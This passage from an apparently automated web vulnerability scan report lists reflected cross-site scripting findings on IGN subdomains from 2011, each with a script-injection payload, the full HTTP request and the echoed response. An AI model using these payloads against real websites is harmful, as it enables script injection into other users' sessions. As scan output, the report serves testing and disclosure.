Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-677998091-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044012240v-1n-12mc+1297044012240mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111358

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Wii: Games, Ch
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/previews.html?dcb33"-alert(1)-"d95f6811418=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.524. http://wii.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cf9c"><script>alert(1)</script>836049bc3aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?8cf9c"><script>alert(1)</script>836049bc3aa=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26296-1872894994-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044009870v-1n-12mc+1297044009870mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 111580

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Wii: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/previews.html?8cf9c"><script>alert(1)</script>836049bc3aa=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.525. http://wii.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f9ce"-alert(1)-"a655d7f9a52 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?8f9ce"-alert(1)-"a655d7f9a52=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:01 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-1068903004-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:01 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044001491v-1n-12mc+1297044001491mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 167498

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Nintendo Wii R
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/reviews.html?8f9ce"-alert(1)-"a655d7f9a52=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.526. http://wii.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b70f9"><script>alert(1)</script>279ed06297f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?b70f9"><script>alert(1)</script>279ed06297f=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:59:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:59:59 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-1327553305-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:59:59 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043999283v-1n-12mc+1297043999283mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 167386

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Nintendo Wii R
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/reviews.html?b70f9"><script>alert(1)</script>279ed06297f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.527. http://wii.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14ccf"-alert(1)-"23272fd03bb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/upcoming.html?14ccf"-alert(1)-"23272fd03bb=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-1053980117-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044009903v-1n-12mc+1297044009903mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 153795

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Nintendo Wii G
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/upcoming.html?14ccf"-alert(1)-"23272fd03bb=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.528. http://wii.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2cecf"><script>alert(1)</script>24808b2b081 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/upcoming.html?2cecf"><script>alert(1)</script>24808b2b081=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-285383335-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:08 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044008295v-1n-12mc+1297044008295mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 154088

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Nintendo Wii G
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/upcoming.html?2cecf"><script>alert(1)</script>24808b2b081=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.529. http://wii.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85f0c"><script>alert(1)</script>df076f1ee0f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?85f0c"><script>alert(1)</script>df076f1ee0f=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:19 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:19 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-1023937139-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:19 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044019245v-1n-12mc+1297044019245mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110765

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Wii: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/index/videos.html?85f0c"><script>alert(1)</script>df076f1ee0f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.530. http://wii.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dcf79"-alert(1)-"63c2ceacd24 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?dcf79"-alert(1)-"63c2ceacd24=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:00:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:21 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1533608452-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044021064v-1n-12mc+1297044021064mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110933

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Wii: Games, Ch
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/index/videos.html?dcf79"-alert(1)-"63c2ceacd24=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.531. http://wii.ign.com/objects/088/088878.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/objects/088/088878.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe651"-alert(1)-"7a5e08682b1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/088/088878.html?fe651"-alert(1)-"7a5e08682b1=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 117389
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=3wbfcfm47b28r;Path=/includes
Set-Cookie: freq=c-1297044047347v-1n-12mc+1297044047347mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-1753353924-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:47 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:00:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:47 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Black Tiger</
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/objects/088/088878.html?fe651"-alert(1)-"7a5e08682b1=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.532. http://wii.ign.com/objects/088/088878.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/objects/088/088878.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ddd5"><script>alert(1)</script>93bac3994ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/088/088878.html?9ddd5"><script>alert(1)</script>93bac3994ef=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 117287
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=1md2y3wytv3ia;Path=/includes
Set-Cookie: freq=c-1297044044950v-1n-12mc+1297044044950mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-1428232547-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:00:45 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:45 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Black Tiger</
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/objects/088/088878.html?9ddd5"><script>alert(1)</script>93bac3994ef=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.533. http://wii.ign.com/objects/872/872155.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/objects/872/872155.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1f3a"><script>alert(1)</script>13fe5a614cc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/872/872155.html?e1f3a"><script>alert(1)</script>13fe5a614cc=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123430
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=nvwrpmjo4fc5;Path=/includes
Set-Cookie: freq=c-1297044046856v-1n-12mc+1297044046857mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-1399274424-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:46 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:00:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:47 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: The Legend of
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wii.ign.com/objects/872/872155.html?e1f3a"><script>alert(1)</script>13fe5a614cc=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.534. http://wii.ign.com/objects/872/872155.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wii.ign.com
Path:	/objects/872/872155.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a0d81"-alert(1)-"7adfaad7154 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/872/872155.html?a0d81"-alert(1)-"7adfaad7154=1 HTTP/1.1
Host: wii.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 123389
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=2s00c6l8vv2gk;Path=/includes
Set-Cookie: freq=c-1297044049153v-1n-12mc+1297044049153mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26779-26840903-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:00:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 02:00:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:00:49 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: The Legend of
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wii.ign.com/objects/872/872155.html?a0d81"-alert(1)-"7adfaad7154=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.535. http://wireless.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbdf3"><script>alert(1)</script>d0c43f647ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?fbdf3"><script>alert(1)</script>d0c43f647ef=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:27 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-485-1834973718-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044087208v-1n-12mc+1297044087208mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 149533

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Apple iPhone - iPo
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://wireless.ign.com/?fbdf3"><script>alert(1)</script>d0c43f647ef=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.536. http://wireless.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f44c"-alert(1)-"930ca3f898c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?5f44c"-alert(1)-"930ca3f898c=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:32 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-353017785-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:01:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044092481v-1n-12mc+1297044092481mv+1mn+12wwe~1;Path=/;Domain=.ign.com
Content-Length: 149450

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Apple iPhone - iPo
...[SNIP]...
script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://wireless.ign.com/?5f44c"-alert(1)-"930ca3f898c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.537. http://wireless.ign.com/articles/106/1063222p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wireless.ign.com
Path:	/articles/106/1063222p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38b4f"><script>alert(1)</script>828feb80c75 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/106/1063222p1.html?38b4f"><script>alert(1)</script>828feb80c75=1 HTTP/1.1
Host: wireless.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 02:01:25 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
